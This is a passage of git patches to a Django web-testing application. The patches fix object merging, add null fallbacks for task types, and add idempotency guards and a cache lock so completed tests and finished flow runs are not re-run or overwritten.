+            updated = [_normalize_object(o) for o in (object_list or [])]
+            for raw_obj in (objects or []):
+                incoming = _normalize_object(raw_obj)
                 exists = False
-                j = 0
-                for o in object_list:
-                    if obj['parent'] == o['parent']:
+                i = 0
+                for existing in updated:
+                    if _same_object(existing, incoming):
+                        merged = dict(existing)
+                        merged.update(incoming)
+
+                        # Preserve resolved ids when incoming payload is still pending.
+                        if incoming.get('id') is None and existing.get('id') is not None:
+                            merged['id'] = existing.get('id')
+                            # Keep the resolved source identity when incoming payload
+                            # is only a placeholder update.
+                            if existing.get('source_id') is not None:
+                                merged['source_id'] = existing.get('source_id')
+                        if incoming.get('source_id') is None and existing.get('source_id') is not None:
+                            merged['source_id'] = existing.get('source_id')
+                        if incoming.get('track_id') is None and existing.get('track_id') is not None:
+                            merged['track_id'] = existing.get('track_id')
+
+                        updated[i] = merged
                         exists = True
-                        # update
-                        object_list[j] = obj
                         break
-                    j+=1
-                # add
+                    i += 1
+
                 if not exists:
-                    object_list.append(obj) 
-                i+=1
-            return object_list
+                    updated.append(incoming)
+
+            return updated
 
         # check if all objects are complete
         def objects_are_complete(object_list):

From 9a0353841d47a667068ac2e70e172fce3d2f1a98 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 11 Apr 2026 16:54:57 -0500
Subject: [PATCH 1098/1099] fix: minor fix for null fallbacks

---
 app/api/utils/flowr.py | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 42dbc565..cc1bf610 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -643,6 +643,11 @@ def run_next(self) -> None:
                             
                             _objs   = current_data['node']['data'].get('objects', [])
                             parent  = self.get_node_by_id(current_data['node']['data'].get('parentId'))
+                            source_task_type = current_data['node']['data'].get('task_type')
+                            if parent and parent.get('node'):
+                                parent_task_type = ((parent.get('node') or {}).get('data') or {}).get('task_type')
+                                if parent_task_type:
+                                    source_task_type = parent_task_type
                             objs    = []
                             res     = []
                             
@@ -661,9 +666,12 @@ def run_next(self) -> None:
                                     # get obj using Alerter
                                     obj = Alerter(
                                         object_id=obj_data.get('source_id', obj_data['id']),
-                                        task_type=parent['node']['data']['task_type']
+                                        task_type=source_task_type
                                     ).get_object()
 
+                                    if obj is None:
+                                        continue
+
                                     # get obj type 
                                     obj_type = type(obj).__name__.lower()
                                     
@@ -958,4 +966,3 @@ def execute_step(
         return None
 
 
-

From 75ab5721f2fd0e6929226ea8add3748cea985e6f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 12 Apr 2026 12:28:27 -0500
Subject: [PATCH 1099/1099] fix: preventing `task_rety()` from overwriting
 completed `Tests`

---
 app/api/tasks.py         |   5 ++
 app/api/utils/scanner.py | 126 ++++++++++++++++++++++++---------------
 app/api/utils/updater.py |   5 ++
 3 files changed, 88 insertions(+), 48 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f127fa79..e535036a 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1585,6 +1585,11 @@ def run_test(
             # get test 
             test = Test.objects.get(id=test_id)
 
+            # idempotency guard: once a Test is complete, do not execute it again.
+            if test.time_completed is not None:
+                logger.info(f'skipping run_test for completed test_id: {str(test_id)}')
+                return None
+
             # define objects for flowrun
             objects = [_flow_obj(
                 parent=str(test.page.id),
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b0464545..ad4c9652 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -10,6 +10,7 @@
 from .updater import update_flowrun
 from .manager import record_task
 from .tester import Tester
+from django.core.cache import cache
 from datetime import datetime
 from cursion import settings
 import os, asyncio, uuid, boto3, random, time
@@ -377,53 +378,83 @@ def check_scan_completion(
         # start Test if test_id present
         if test_id is not None:
 
-            # update flowrun
-            if flowrun_id and flowrun_id != 'None':
-                time.sleep(random.uniform(0.1, 5))
-                update_flowrun(**{
-                    'flowrun_id': str(flowrun_id),
-                    'node_index': node_index,
-                    'message': f'starting test comparison algorithm for {scan.page.page_url} | test_id: {str(test_id)}',
-                    'objects': objects
-                })
- 
-            # get task_id from scan.system
-            task_id = None
-            for task in scan.system['tasks']:
-                if task.get('component') == sender:
-                    task_id = task.get('task_id')
-
-            # record task data in test
-            record_task(
-                resource_type='test',
-                resource_id=str(test_id),
-                task_id=str(task_id),
-                task_method='run_test',
-                kwargs={
-                    'test_id': str(test_id), 
-                    'alert_id': str(alert_id) if alert_id is not None else None,
-                    'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-                    'node_index': str(node_index) if node_index is not None else None,
-                    'track_id': track_id
-                }
-            )
-            
-            print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
-            test = Test.objects.get(id=test_id)
-            updated_test = Tester(test=test).run_test()
-
-            # update flowrun
-            if flowrun_id and flowrun_id != 'None':
-                objects[-1]['status'] = updated_test.status
-                update_flowrun(**{
-                    'flowrun_id': str(flowrun_id),
-                    'node_index': node_index,
-                    'message': (
-                        f'test for {scan.page.page_url} completed with status: '+
-                        f'{"❌ FAILED" if updated_test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
-                    ),
-                    'objects': objects
-                })
+            # derive tracking identity from Test system data
+            run_track_id = str(test_id)
+            try:
+                test = Test.objects.get(id=test_id)
+                first_task = ((test.system or {}).get('tasks') or [{}])[0]
+                task_kwargs = first_task.get('kwargs') or {}
+                run_track_id = str(task_kwargs.get('track_id') or test_id)
+            except Exception:
+                test = None
+
+            # if Test already completed, do not re-run it.
+            if test is not None and test.time_completed is not None:
+                if flowrun_id and flowrun_id != 'None':
+                    objects[-1]['status'] = test.status
+                    update_flowrun(**{
+                        'flowrun_id': str(flowrun_id),
+                        'node_index': node_index,
+                        'message': f'skipping run_test for completed test_id: {str(test_id)}',
+                        'objects': objects
+                    })
+                return scan
+
+            # avoid duplicate test launches from concurrent component completions
+            run_test_lock_key = f'scanner:run_test:{str(test_id)}'
+            if not cache.add(run_test_lock_key, '1', timeout=600):
+                return scan
+
+            try:
+                # update flowrun
+                if flowrun_id and flowrun_id != 'None':
+                    time.sleep(random.uniform(0.1, 5))
+                    update_flowrun(**{
+                        'flowrun_id': str(flowrun_id),
+                        'node_index': node_index,
+                        'message': f'starting test comparison algorithm for {scan.page.page_url} | test_id: {str(test_id)}',
+                        'objects': objects
+                    })
+    
+                # get task_id from scan.system
+                task_id = None
+                for task in scan.system['tasks']:
+                    if task.get('component') == sender:
+                        task_id = task.get('task_id')
+
+                # record task data in test
+                record_task(
+                    resource_type='test',
+                    resource_id=str(test_id),
+                    task_id=str(task_id),
+                    task_method='run_test',
+                    kwargs={
+                        'test_id': str(test_id), 
+                        'alert_id': str(alert_id) if alert_id is not None else None,
+                        'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                        'node_index': str(node_index) if node_index is not None else None,
+                        'track_id': run_track_id
+                    }
+                )
+                
+                print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+                test = Test.objects.get(id=test_id)
+                updated_test = Tester(test=test).run_test()
+
+                # update flowrun
+                if flowrun_id and flowrun_id != 'None':
+                    objects[-1]['status'] = updated_test.status
+                    update_flowrun(**{
+                        'flowrun_id': str(flowrun_id),
+                        'node_index': node_index,
+                        'message': (
+                            f'test for {scan.page.page_url} completed with status: '+
+                            f'{"❌ FAILED" if updated_test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
+                        ),
+                        'objects': objects
+                    })
+            finally:
+                cache.delete(run_test_lock_key)
             
         if alert_id is not None and alert_id != 'None':
             print('running alert from `cursion.check_scan_completion`')
@@ -756,4 +787,3 @@ def _yellowlab(
     return scan
 
 
-
diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index 15f8aed7..7fe2daeb 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -36,6 +36,11 @@ def update_flowrun(**kwargs) -> object:
         # stale copies of nodes/edges/logs.
         flowrun = FlowRun.objects.select_for_update().get(id=flowrun_id)
 
+        # Ignore stale worker updates after completion; late async tasks should
+        # not mutate finished runs.
+        if flowrun.time_completed is not None:
+            return flowrun
+
         # set timestamp
         timestamp = timezone.now().strftime('%Y-%m-%d %H:%M:%S.%f')